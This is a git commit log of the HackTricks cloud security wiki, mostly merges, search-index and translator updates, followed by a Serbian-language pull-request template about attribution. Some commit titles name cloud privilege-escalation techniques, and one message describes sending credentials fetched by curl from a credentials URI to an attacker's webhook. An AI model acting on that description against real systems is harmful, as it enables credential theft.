160cdf0767 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-03-21 10:20:07 +01:00
Carlos Polop
ce9d8e9162 f 2025-03-21 10:17:18 +01:00
Build master
27bda8c014 Update searchindex 2025-03-21 09:09:36 +00:00
Build master
d9b93c0df5 Update searchindex 2025-03-21 09:04:21 +00:00
SirBroccoli
62ee9ee386 Merge pull request #170 from cydtseng/minor
Minor improvements for aws-basic-information
2025-03-21 09:59:00 +01:00
SirBroccoli
1c761c2a55 Merge pull request #169 from JaimePolop/patch-23
Update az-sql.md
2025-03-21 09:58:34 +01:00
Build master
849a545f21 Update searchindex 2025-03-18 05:49:00 +00:00
Carlos Polop
cfc01c0374 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-03-18 06:47:31 +01:00
Carlos Polop
6915cfa68c fix 2025-03-18 06:47:26 +01:00
Build master
aed8d2e643 Update searchindex 2025-03-17 11:56:39 +00:00
Carlos Polop
b2bf4d9b07 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-03-17 12:55:07 +01:00
Carlos Polop
6788b5e0a5 asd 2025-03-17 12:55:00 +01:00
Build master
5c702e69b9 Update searchindex 2025-03-17 03:49:36 +00:00
Carlos Polop
42f78679a2 vm to aa 2025-03-17 04:47:59 +01:00
Cyd Tseng
6c40f6cac4 docs: minor grammar / spelling improvements for aws-basic-information 2025-03-13 00:38:23 +08:00
Jaime Polop
fcb6c989fc Update az-sql.md 2025-03-07 19:29:40 +01:00
Jaime Polop
8d310c43f5 Update az-sql.md 2025-03-07 19:28:42 +01:00
Build master
27d96d81e1 Update searchindex 2025-03-04 22:09:14 +00:00
Carlos Polop
6d88cb548f impr 2025-03-04 23:07:33 +01:00
Build master
1216308b18 Update searchindex 2025-03-02 12:55:20 +00:00
Carlos Polop
00f4a32ae3 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-03-02 13:53:42 +01:00
Carlos Polop
96579673c1 sentinel 2025-03-02 13:53:38 +01:00
Build master
f8c4c4d8ac Update searchindex 2025-03-02 00:21:20 +00:00
Carlos Polop
3902e8cafd Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-03-02 01:19:46 +01:00
Carlos Polop
39876cd315 defender + monitoring 2025-03-02 01:19:42 +01:00
Build master
d668cf5452 Update searchindex 2025-02-26 15:52:26 +00:00
Carlos Polop
d54cb2b5ff virtual desktops 2025-02-26 16:50:45 +01:00
Carlos Polop
c79c359fd2 asd 2025-02-26 02:00:25 +01:00
Carlos Polop
1efe5e7e77 asd 2025-02-26 01:40:13 +01:00
Carlos Polop
7991ff4fae asd 2025-02-26 01:19:35 +01:00
Carlos Polop
045b6c2320 asd 2025-02-26 00:38:39 +01:00
Carlos Polop
ab888d748c asd 2025-02-26 00:32:20 +01:00
Carlos Polop
5d3c7b0348 asd 2025-02-26 00:14:56 +01:00
Carlos Polop
d77d87d686 a 2025-02-25 23:37:57 +01:00
Carlos Polop
9c0cfb6529 a 2025-02-25 23:33:09 +01:00
Carlos Polop
2730856acc a 2025-02-25 23:29:26 +01:00
Carlos Polop
221636beae Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-25 23:07:12 +01:00
Carlos Polop
740801ab61 a 2025-02-25 23:07:08 +01:00
Build master
23ce7a243e Update searchindex 2025-02-25 21:58:00 +00:00
SirBroccoli
13f89a6674 Merge pull request #168 from JaimePolop/master
vitualdesktop
2025-02-25 22:56:31 +01:00
Jimmy
776d9f73df vitualdesktop 2025-02-25 12:41:45 +01:00
Jimmy
c8c09b0abb vitualdesktop 2025-02-25 12:37:08 +01:00
Build master
329ef07c7e Update searchindex 2025-02-25 05:08:47 +00:00
Carlos Polop
aad012f215 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-25 06:06:50 +01:00
Carlos Polop
50029a6488 logic apps 2025-02-25 06:06:45 +01:00
Build master
5bb4e02a58 Update searchindex 2025-02-24 10:29:46 +00:00
Carlos Polop
c0a3872982 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-24 11:27:05 +01:00
Carlos Polop
a19517f026 az functions 2025-02-24 11:27:01 +01:00
Build master
429913c5ec Update searchindex 2025-02-22 16:14:23 +00:00
Carlos Polop
2d32b37d9c Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-22 17:12:56 +01:00
Carlos Polop
77da1e58ca static web apps 2025-02-22 17:12:53 +01:00
Build master
516553f4bf Update searchindex 2025-02-22 12:46:54 +00:00
SirBroccoli
188b9a7b0a Merge pull request #166 from JaimePolop/master
new
2025-02-22 13:45:25 +01:00
Jimmy
58556acb7d new 2025-02-22 13:38:23 +01:00
Jimmy
0148473b67 new 2025-02-22 13:34:13 +01:00
Jimmy
b832183456 new 2025-02-22 13:27:27 +01:00
Build master
3e96d64e50 Update searchindex 2025-02-21 23:33:51 +00:00
Carlos Polop
7336c976ae Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-22 00:32:13 +01:00
Carlos Polop
def87f1ffb asd 2025-02-22 00:32:09 +01:00
Build master
b715d43fad Update searchindex 2025-02-21 13:57:18 +00:00
Carlos Polop
c6b3795cc5 fix workflows 2025-02-21 14:55:41 +01:00
Carlos Polop
8fa715b08d Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-21 12:44:07 +01:00
Carlos Polop
aeb3f8b582 a 2025-02-21 12:44:01 +01:00
Build master
568e936ca0 Update searchindex 2025-02-21 11:02:56 +00:00
Carlos Polop
2456bca341 a 2025-02-21 12:01:31 +01:00
Carlos Polop
f138e0366f Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-21 12:00:43 +01:00
Carlos Polop
c089890c84 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-21 00:14:46 +01:00
Build master
901725b847 Update searchindex 2025-02-20 23:14:18 +00:00
Carlos Polop
fea4bb8938 impr 2025-02-21 00:13:14 +01:00
SirBroccoli
7026e4e728 Merge pull request #163 from JaimePolop/master
Cosmosdb
2025-02-21 00:12:51 +01:00
Jaime Polop
0e15aeffba Delete searchindex.json 2025-02-20 23:21:38 +01:00
Jimmy
b7dc63cd26 a 2025-02-20 23:20:59 +01:00
Build master
4c9c8c10ac Update searchindex 2025-02-20 12:10:09 +00:00
Carlos Polop
64f5661515 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-20 13:08:28 +01:00
Carlos Polop
bee34f3c05 fixes 2025-02-20 13:08:24 +01:00
Build master
2f84f3f328 Update searchindex 2025-02-20 00:56:04 +00:00
Carlos Polop
892232fe26 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-20 01:54:38 +01:00
Carlos Polop
c71aa6f7b1 a 2025-02-20 01:54:29 +01:00
Carlos Polop
ab3e89c82d more sql 2025-02-20 01:53:49 +01:00
Build master
caf320e355 Update searchindex 2025-02-20 00:51:55 +00:00
Carlos Polop
e841f06505 sql and other fixes 2025-02-20 01:50:24 +01:00
Build master
6456eab2cf Update searchindex 2025-02-20 00:36:33 +00:00
SirBroccoli
3c746383c6 Merge pull request #162 from JaimePolop/master
sql & others
2025-02-20 01:35:07 +01:00
Jaime Polop
064162062f Delete searchindex.json 2025-02-20 00:57:18 +01:00
Jimmy
e3ca81040e asd 2025-02-20 00:55:53 +01:00
Build master
4313cc72bc Update searchindex 2025-02-19 01:29:33 +00:00
Carlos Polop
80b91382f3 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-19 02:28:04 +01:00
Carlos Polop
0828130954 az sql 2025-02-19 02:27:59 +01:00
Build master
94e634230a Update searchindex 2025-02-18 11:18:25 +00:00
Carlos Polop
5e48ce18e0 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-18 12:16:45 +01:00
Carlos Polop
61c70bfefd improvements 2025-02-18 12:16:41 +01:00
Build master
ce2ede1e01 Update searchindex 2025-02-17 20:57:20 +00:00
Carlos Polop
127c85e7d2 impr servicebus 2025-02-17 21:55:47 +01:00
Build master
40e08a1893 Update searchindex 2025-02-17 18:27:14 +00:00
Carlos Polop
e746e3e353 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-17 19:25:47 +01:00
Carlos Polop
0f7175eb98 fix 2025-02-17 19:25:37 +01:00
Build master
d109bb6b44 Update searchindex 2025-02-17 18:21:54 +00:00
Carlos Polop
2505aec847 fix build 2025-02-17 19:20:11 +01:00
Carlos Polop
cc5dc4c885 summary update 2025-02-17 18:15:16 +01:00
Carlos Polop
09a10afd24 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-17 18:09:02 +01:00
Carlos Polop
0d9b4e5917 aa persistence 2025-02-17 18:08:59 +01:00
SirBroccoli
ad0fd2ac62 Merge pull request #161 from JaimePolop/master
sql and servicebus
2025-02-17 12:56:22 +01:00
Build master
47c4eb2f02 Update searchindex 2025-02-17 11:52:19 +00:00
Jaime Polop
8b8705f5a2 Delete searchindex.json 2025-02-17 12:51:09 +01:00
Build master
e82c35b07f Update searchindex 2025-02-17 11:49:02 +00:00
Jimmy
5f47797e6a updates 2025-02-17 12:41:24 +01:00
Build master
90a2f79a0f Update searchindex 2025-02-17 10:56:10 +00:00
Carlos Polop
baa1c7240d Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-17 11:54:31 +01:00
Carlos Polop
0f6da30192 fix summary 2025-02-17 11:54:27 +01:00
Build master
06d67a4432 Update searchindex 2025-02-16 17:27:19 +00:00
Carlos Polop
f9413e0d34 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-16 18:25:48 +01:00
Carlos Polop
31acbca2ed privesc jobs az 2025-02-16 18:25:44 +01:00
Build master
e938af6965 Update searchindex 2025-02-15 17:50:26 +00:00
Carlos Polop
8d0d445b93 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-15 18:48:59 +01:00
Carlos Polop
9cd2ef8e2f fixes 2025-02-15 18:48:56 +01:00
Build master
c4b06ab12c Update searchindex 2025-02-15 15:25:20 +00:00
Carlos Polop
5537bfe63d Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-15 16:23:52 +01:00
Carlos Polop
6e477bc296 update container services az 2025-02-15 16:23:48 +01:00
Build master
46af6b9474 Update searchindex 2025-02-15 03:24:48 +00:00
Carlos Polop
e6644e6caa improvements 2025-02-15 04:23:19 +01:00
Carlos Polop
fcc20e6908 a 2025-02-15 03:00:32 +01:00
Carlos Polop
8be9956703 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-15 02:17:10 +01:00
Carlos Polop
2be77df66d a 2025-02-15 02:17:06 +01:00
Build master
8594fa5343 Update searchindex 2025-02-15 01:16:02 +00:00
SirBroccoli
ba04a6a2ff Merge pull request #158 from raadfhaddad/master
Update aws-macie-privesc.md
2025-02-15 02:14:40 +01:00
Build master
d2f2655fc4 Update searchindex 2025-02-14 18:20:02 +00:00
Carlos Polop
5a5104fe95 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-14 19:18:33 +01:00
Carlos Polop
ef85d7fdd5 unauth container registry 2025-02-14 19:18:28 +01:00
Carlos Polop
83bc9f97e8 f 2025-02-14 17:20:39 +01:00
Build master
d3b9883283 Update searchindex 2025-02-14 16:20:08 +00:00
Carlos Polop
81acaa16e0 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-14 17:18:44 +01:00
Carlos Polop
70d0f13e7e f 2025-02-14 17:18:40 +01:00
Build master
8392cf548c Update searchindex 2025-02-14 15:44:15 +00:00
Carlos Polop
0b97b3caff Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-14 16:42:53 +01:00
Carlos Polop
4df9252db4 fixes 2025-02-14 16:42:49 +01:00
Raad
3350e31738 Update aws-macie-privesc.md 2025-02-14 08:16:32 +01:00
Build master
17be115fa6 Update searchindex 2025-02-13 17:45:51 +00:00
Carlos Polop
ccbbfaee00 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-13 18:44:25 +01:00
Carlos Polop
b98496aaed f 2025-02-13 18:44:21 +01:00
Build master
30399528e4 Update searchindex 2025-02-13 10:01:56 +00:00
Carlos Polop
650655363f Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-13 11:00:31 +01:00
Carlos Polop
615a959bb6 fix macie 2025-02-13 11:00:27 +01:00
Build master
0d198fe961 Update searchindex 2025-02-13 09:54:32 +00:00
SirBroccoli
abbd0a816b Merge pull request #157 from raadfhaddad/master
Create aws-macie-privesc.md
2025-02-13 10:53:03 +01:00
Carlos Polop
13df9aee51 f 2025-02-13 10:51:25 +01:00
Raad
eb110dfd72 Create aws-macie-enum.md 2025-02-12 22:21:39 +01:00
Raad
491627bf9f Merge branch 'HackTricks-wiki:master' into master 2025-02-12 22:18:35 +01:00
Carlos Polop
ca5a9e1037 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-12 18:21:54 +01:00
Carlos Polop
7537334e2c a 2025-02-12 18:21:49 +01:00
Congon4tor
bb664c142d changes serchindex ulrs 2025-02-12 18:06:33 +01:00
Carlos Polop
4eafaed2b1 m 2025-02-12 15:58:21 +01:00
Carlos Polop
e158438a0f master workflow 2025-02-12 15:33:47 +01:00
Carlos Polop
57da0bf8db run gh 2025-02-12 15:25:17 +01:00
Carlos Polop
ae7aefe448 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-12 15:24:14 +01:00
Carlos Polop
19401f19d6 searchindex master 2025-02-12 15:24:09 +01:00
Congon4tor
92b3c384c8 Fix links and update search index url 2025-02-12 14:47:59 +01:00
Carlos Polop
0d26e5ed8c Update searchindex 2025-02-12 14:42:59 +01:00
Carlos Polop
cd5de3879c f 2025-02-12 14:37:24 +01:00
Carlos Polop
dc557dad46 try 2025-02-12 14:32:25 +01:00
Carlos Polop
d6597f9990 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-12 14:31:51 +01:00
Carlos Polop
77a117d772 searchindex test 1 2025-02-12 14:31:47 +01:00
Congon4tor
699a707bb6 Add searchindex to repo 2025-02-12 14:13:04 +01:00
Raad
b741525093 Create aws-macie-privesc.md 2025-02-11 21:46:29 +01:00
Carlos Polop
60b1ca6b88 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-11 17:56:14 +01:00
Carlos Polop
30236714f5 f 2025-02-11 17:56:10 +01:00
SirBroccoli
f258a13eef Merge pull request #156 from JaimePolop/master
FIxes
2025-02-11 00:28:49 +01:00
Carlos Polop
4e491e3f55 fixes 2025-02-11 00:28:34 +01:00
Jimmy
b3cfc40029 Merge branch 'master' of https://github.com/JaimePolop/hacktricks-cloud 2025-02-10 12:44:38 +01:00
Jimmy
26bf439a59 Y 2025-02-10 12:31:51 +01:00
Jimmy
3757efbd43 Y 2025-02-10 12:22:24 +01:00
Carlos Polop
d13ebeaeb5 f 2025-02-10 01:21:01 +01:00
Carlos Polop
3f01e5e4fa f 2025-02-09 18:51:16 +01:00
Carlos Polop
8452766003 fixes 2025-02-09 18:51:11 +01:00
Carlos Polop
9bea483104 fix banner 2025-02-09 15:53:44 +01:00
Carlos Polop
7162236a6b fix 2025-02-08 19:54:20 +01:00
Carlos Polop
f5c7490026 mor einfo 2025-02-08 19:47:32 +01:00
Carlos Polop
2383d6958b Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-08 19:23:46 +01:00
Carlos Polop
fd5fc9957a azure basics 2025-02-08 19:23:41 +01:00
SirBroccoli
d42d244a6a Merge pull request #154 from JaimePolop/patch-22
Update az-storage-privesc.md
2025-02-08 14:46:52 +01:00
Carlos Polop
117bb933af improvements 2025-02-07 01:02:14 +01:00
Carlos Polop
9a9ea3101f typo 2025-02-06 03:12:35 +01:00
Carlos Polop
ec6fcd37f0 impr 2025-02-06 00:34:19 +01:00
Carlos Polop
551524079b Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-04 19:06:01 +01:00
Carlos Polop
92d27a9632 add perm Microsoft.ContainerRegistry/registries/generateCredentials/action 2025-02-04 19:05:56 +01:00
Jaime Polop
cfcc836974 Update az-storage-privesc.md 2025-02-03 11:26:08 +01:00
SirBroccoli
7838f68347 Merge pull request #152 from hhoollaa1/master
EFS IP Enumeration Python Script
2025-02-02 19:21:19 +01:00
SirBroccoli
452fb430b3 Merge pull request #153 from JaimePolop/patch-21
Update az-file-shares.md
2025-01-29 12:33:13 +01:00
Jaime Polop
ba94d85a36 Update az-file-shares.md 2025-01-29 12:29:56 +01:00
hhoollaa1
a9b9e95899 Update aws-efs-enum.md 2025-01-27 21:10:05 +01:00
SirBroccoli
5a2543873e Merge pull request #151 from JaimePolop/master
azuread MS Graph
2025-01-27 15:19:11 +01:00
Jaime Polop
b353597cd3 Update az-azuread.md 2025-01-27 11:58:13 +01:00
Jaime Polop
9ed1b29bb9 Update az-azuread.md 2025-01-27 02:10:28 +01:00
Carlos Polop
01295fcd13 dataproc 2025-01-26 22:47:34 +01:00
SirBroccoli
81d2665909 Merge pull request #148 from shamo0/master
grte-shamooo
2025-01-26 22:45:09 +01:00
Mac
873eba38c0 dataproc enum & privesc 2025-01-27 00:14:46 +04:00
Carlos Polop
979ea57c3b Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-01-26 18:53:28 +01:00
Carlos Polop
ae6616b63b comparison reader with security reader 2025-01-26 18:53:24 +01:00
Mac
dbac949488 dataproc privesc update 2025-01-26 21:53:14 +04:00
Congon4tor
3e06c28e43 updated preprocessor 2025-01-26 18:16:58 +01:00
SirBroccoli
5d21fb67a6 Merge pull request #147 from JaimePolop/master
CloudShell & LogicApps
2025-01-26 16:10:25 +01:00
SirBroccoli
25395ae94a Merge branch 'master' into master 2025-01-26 16:10:16 +01:00
Carlos Polop
626155bec1 small fixes 2025-01-26 16:06:53 +01:00
Carlos Polop
8f02f9f5a5 fix 2025-01-26 15:48:40 +01:00
Carlos Polop
d9c68fcf04 fix 2025-01-26 15:21:37 +01:00
Carlos Polop
c76f3defdd a 2025-01-26 12:02:02 +01:00
Carlos Polop
569f2be7c9 impr 2025-01-26 11:42:59 +01:00
Carlos Polop
416e7cf699 improvements 2025-01-25 15:33:23 +01:00
Mac
480c6ba178 dataproc privesc 2025-01-23 20:54:49 +04:00
Carlos Polop
8f6514eed9 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-01-23 00:04:03 +01:00
Carlos Polop
6736e6d5c8 more azure stuff 2025-01-23 00:03:36 +01:00
Jaime Polop
1bc1085d79 Update SUMMARY.md 2025-01-22 13:21:20 +01:00
Jaime Polop
50f10aa913 Update az-static-web-apps.md 2025-01-22 13:17:57 +01:00
Jaime Polop
bb6035c0ca Update SUMMARY.md 2025-01-22 13:13:24 +01:00
SirBroccoli
b6310f4ac6 Merge pull request #141 from VL4DYSL4V/VL4DYSL4V-k8s-privesc-via-secrets-create-and-read
Added K8s privesc technique via Create & Read secrets
2025-01-22 13:03:38 +01:00
SirBroccoli
9bcaf7c6df Merge pull request #145 from JaimePolop/patch-20
Update az-cosmosDB.md
2025-01-22 10:49:35 +01:00
SirBroccoli
a60a5be8d2 Merge pull request #142 from VL4DYSL4V/VL4DYSL4V-create-and-delete-k8s-pods-with-curl
Added scripts for creating & deleting K8s pods, SAs, Roles, RoleBindings, and Secrets with curl
2025-01-22 10:49:19 +01:00
Carlos Polop
250329b9aa fix summary 2025-01-21 19:38:49 +01:00
Carlos Polop
64ab139a57 azure automatic tools 2025-01-21 18:15:39 +01:00
Jaime Polop
38ec0650ca Update SUMMARY.md 2025-01-17 17:41:33 +01:00
Jaime Polop
a027dd2a21 Add files via upload 2025-01-17 17:39:20 +01:00
Jaime Polop
1e69b05fe7 Add files via upload 2025-01-17 17:38:57 +01:00
Jaime Polop
9f84500da6 Update SUMMARY.md 2025-01-16 12:49:17 +01:00
Jaime Polop
62664886c7 Add files via upload 2025-01-16 12:47:56 +01:00
Jaime Polop
e4b1066789 Add files via upload 2025-01-16 12:47:24 +01:00
Jaime Polop
0f2e9443ca Add files via upload 2025-01-16 12:46:39 +01:00
Jaime Polop
dbb3f98a12 Update az-cosmosDB.md 2025-01-13 17:03:55 +01:00
Jaime Polop
234398ad6e Merge branch 'HackTricks-wiki:master' into master 2025-01-13 16:39:28 +01:00
Jaime Polop
a6e5b378be Update az-cosmosDB.md 2025-01-13 16:39:17 +01:00
Vladyslav
cdd6583bb6 Update kubernetes-enumeration.md 2025-01-13 15:08:23 +02:00
Vladyslav
12c468f714 Update kubernetes-enumeration.md 2025-01-13 14:58:03 +02:00
Carlos Polop
0996afea1b azure container 2025-01-12 19:42:21 +01:00
Jaime Polop
3fd7b2b8a2 Merge branch 'HackTricks-wiki:master' into master 2025-01-12 11:55:47 +01:00
Jimmy
e47fdfb9ea Update pwsh 2025-01-12 11:55:13 +01:00
SirBroccoli
d6f87481ef Merge pull request #139 from JaimePolop/master
CosmosDB, Postgres and MySQL
2025-01-11 19:28:52 +01:00
Vladyslav
3000c3b4fe Added scripts for creating & deleting K8s pods with curl 2025-01-11 16:42:38 +02:00
Vladyslav
15ce1f2a40 Added K8s privesc technique via Create & Read secrets 2025-01-11 15:20:34 +02:00
Jaime Polop
8ec34fc329 Merge branch 'HackTricks-wiki:master' into master 2025-01-10 18:50:57 +01:00
Jaime Polop
5d6efaa6a6 Update SUMMARY.md 2025-01-10 18:50:36 +01:00
Carlos Polop
73e6fee408 auto acc 2025-01-10 18:39:42 +01:00
Jimmy
833b571498 Update URLs 2025-01-10 16:34:21 +01:00
Jaime Polop
37bf365f5b Merge branch 'HackTricks-wiki:master' into master 2025-01-10 15:02:54 +01:00
Carlos Polop
8b52bc23a3 automation acc hybrid workers 2025-01-10 14:16:44 +01:00
Carlos Polop
d9f6b34673 fix ec2 + automation accounts 2025-01-10 12:59:11 +01:00
Jaime Polop
9021590856 Update SUMMARY.md 2025-01-10 11:32:04 +01:00
Jaime Polop
8ea0f4a3f1 Update az-cosmosDB-post-exploitation.md 2025-01-10 11:28:42 +01:00
Jaime Polop
78334993a2 Update az-cosmosDB.md 2025-01-10 11:26:58 +01:00
Jaime Polop
e8cee6743c Add files via upload 2025-01-10 11:06:35 +01:00
Jaime Polop
55fc400bf7 Add files via upload 2025-01-10 11:02:38 +01:00
Jaime Polop
dc16c9ff9f Add files via upload 2025-01-10 11:01:45 +01:00
Carlos Polop
6d926a6f72 local hacktricks cloud 2025-01-09 18:20:22 +01:00
Carlos Polop
d9a7ae2880 build coker public 2025-01-09 17:59:36 +01:00
Carlos Polop
be659333c8 fix keyvault.md 2025-01-09 17:34:55 +01:00
Carlos Polop
cb67f59e59 images 2025-01-09 17:29:41 +01:00
Carlos Polop
b3f82cc35c fix hacktricks cloud 2025-01-09 15:46:23 +01:00
Carlos Polop
1f00ec798e write packages 2025-01-09 09:50:32 +01:00
Carlos Polop
782d409f47 en 2025-01-09 09:45:51 +01:00
Carlos Polop
30f14affe7 t11 2025-01-09 09:44:48 +01:00
Carlos Polop
65cfe4be40 handle exception 2025-01-09 09:44:32 +01:00
Carlos Polop
39ef4428ef build master 2025-01-09 09:36:04 +01:00
Carlos Polop
de7e5d2eb0 t10 2025-01-09 09:31:45 +01:00
Carlos Polop
78f6ebfdc9 install awscli in the container 2025-01-09 09:19:39 +01:00
Carlos Polop
4b9cb59f09 fr 2025-01-09 09:17:47 +01:00
Carlos Polop
3b671863b3 t9 2025-01-09 09:15:28 +01:00
Carlos Polop
110692ec5f t8 2025-01-09 09:10:14 +01:00
Carlos Polop
065d29019c t7 2025-01-09 09:06:37 +01:00
Carlos Polop
184a36301a translator 2025-01-09 09:04:23 +01:00
Carlos Polop
c3b572db87 t6 2025-01-09 08:43:19 +01:00
Carlos Polop
894d2f8dc6 t5 2025-01-09 08:34:24 +01:00
Carlos Polop
3eff514680 t4 2025-01-09 02:04:38 +01:00
Carlos Polop
4fae1360a8 t3 2025-01-09 01:55:16 +01:00
Carlos Polop
372ccdf299 t2 2025-01-09 01:52:23 +01:00
Carlos Polop
0c3d697d67 t2 2025-01-09 01:52:19 +01:00
Carlos Polop
cdf8430598 t 2025-01-09 01:49:44 +01:00
Carlos Polop
432e916b2f translators 2025-01-09 01:47:16 +01:00
Carlos Polop
cb23139acd d 2025-01-09 01:29:31 +01:00
Carlos Polop
1a41153b95 docker 2025-01-09 01:26:48 +01:00
Carlos Polop
06184f73ec build docker 2025-01-09 01:25:03 +01:00
Carlos Polop
bde9b73eb1 docker 2025-01-09 01:18:30 +01:00
Carlos Polop
69db82891a cat error preprod 2025-01-09 01:05:33 +01:00
Carlos Polop
52142003ec add az-static-web-apps-privesc.md 2025-01-08 23:51:34 +01:00
Carlos Polop
a850e268dc fix transaltor 2025-01-08 23:50:53 +01:00
Carlos Polop
cc120ade68 translate az-app-services-privesc.md 2025-01-08 22:00:23 +01:00
Carlos Polop
3000248da2 fix translator log 2025-01-08 21:59:46 +01:00
SirBroccoli
1a5f666c80 Merge pull request #138 from ex16x41/patch-5
Update aws-codebuild-privesc.md
2025-01-08 21:36:25 +01:00
Eva
95f91529c7 Update aws-codebuild-privesc.md
Create a hook.json file with command to send output from curl credentials URI to your webhook address
2025-01-08 21:27:54 +01:00
Carlos Polop
b65df65002 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-01-07 00:43:41 +01:00
Carlos Polop
1c333d4cab static web 2025-01-07 00:43:37 +01:00
Congon4tor
b0794c4b1c Support # in refs 2025-01-06 18:02:23 +01:00
Carlos Polop
009ef58e30 static 2025-01-05 23:48:40 +01:00
Carlos Polop
ad6c542f82 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-01-05 21:15:16 +01:00
Carlos Polop
3a7480d764 MIGRATION TYPOS 2025-01-05 21:15:12 +01:00
SirBroccoli
4b71029629 Merge pull request #134 from offensive-actions/add-terraform-state-rce-and-dynamodb-privesc
arte-administrator
2025-01-05 16:05:38 +01:00
Carlos Polop
c1aee098b6 actas in cloudbuild 2025-01-05 16:03:29 +01:00
Carlos Polop
ec0ff62bcb fix translator 2025-01-05 15:32:32 +01:00
Carlos Polop
2244c6b485 clean images 2025-01-05 15:31:07 +01:00
Carlos Polop
61bc94e77d Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-01-05 11:29:54 +01:00
Carlos Polop
13358c1371 fix links 2025-01-05 11:29:50 +01:00
SirBroccoli
1e29cb77cc Merge pull request #135 from HackTricks-wiki/support-file-downloads
Support file downloads
2025-01-04 18:48:56 +01:00
Carlos Polop
d65983432b app services 2025-01-04 04:38:52 +01:00
Carlos Polop
18d1953edd app services 2025-01-04 01:32:19 +01:00
Carlos Polop
c395861d3d improve translator 2025-01-04 00:25:53 +01:00
Carlos Polop
d9247bf598 app services 2025-01-03 20:16:15 +01:00
Congon4tor
853e602bc2 Support file downloads 2025-01-03 19:35:15 +01:00
Benedikt Haußner
8750a93d41 add dynamodb privilege escalation via putting of resource based policy 2025-01-03 15:26:44 +01:00
Benedikt Haußner
b918609383 add fully working solution for privesc via terraform state file poisoning and reference from s3 privilege escalation to that technique 2025-01-03 15:26:16 +01:00
Carlos Polop
3d1f96fd4a Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-01-03 12:21:56 +01:00
Carlos Polop
9eec79f700 app services 2025-01-03 12:21:52 +01:00
SirBroccoli
8a25a0856f Update translator.py 2025-01-03 11:42:03 +01:00
SirBroccoli
e67cc3f450 Merge pull request #133 from HackTricks-wiki/robots-txt
Add robots.txt
2025-01-03 10:47:48 +01:00
SirBroccoli
194ae6d76b Merge pull request #132 from HackTricks-wiki/add-language-selector
Fixes language UI
2025-01-03 10:47:06 +01:00
Congon4tor
d53ffc12eb Fix page index with links 2025-01-03 03:30:47 +01:00
Congon4tor
c520826284 Add read time to all pages 2025-01-03 02:52:56 +01:00
Congon4tor
7a0a0329a7 Add robots.txt 2025-01-03 01:46:36 +01:00
Congon4tor
a7bf8124da Fixes language UI 2025-01-03 01:09:11 +01:00
Carlos Polop
b340bf8ada t 2025-01-02 22:26:08 +01:00
Carlos Polop
bad627b7db lang 2025-01-02 21:53:56 +01:00
Carlos Polop
96cc8f9772 languages 2025-01-02 21:53:49 +01:00
SirBroccoli
1922e106fd Merge pull request #131 from HackTricks-wiki/add-language-selector
Add language selector
2025-01-02 21:47:43 +01:00
Congon4tor
d7d5e4a93c Add language selector 2025-01-02 21:18:12 +01:00
Carlos Polop
716aa06779 translate 2 2025-01-01 23:55:27 +01:00
Carlos Polop
4ef00e6b1b translate fix 2025-01-01 23:55:17 +01:00
Carlos Polop
2beb8398a6 translate 2 2025-01-01 21:36:26 +01:00
Carlos Polop
d0b9174054 translate 2025-01-01 21:36:15 +01:00
Carlos Polop
d0e6a85e6f update translator 2025-01-01 21:23:33 +01:00
Carlos Polop
d96df379fd trasnlate other half 2024-12-31 18:48:54 +01:00
Carlos Polop
4d622f5500 translate half 2024-12-31 18:48:31 +01:00
693 changed files with 34670 additions and 38155 deletions

View File

@@ -1,9 +1,16 @@
You can remove this content before sending the PR:
## Attribution
Cenimo vaše znanje i podstičemo vas da delite sadržaj. Molimo vas da osigurate da uploadujete samo sadržaj koji posedujete ili za koji imate dozvolu da ga delite od originalnog autora (dodajući referencu na autora u dodatom tekstu ili na kraju stranice koju modifikujete ili oboje). Vaše poštovanje prava intelektualne svojine doprinosi pouzdanoj i legalnoj sredini za deljenje za sve.
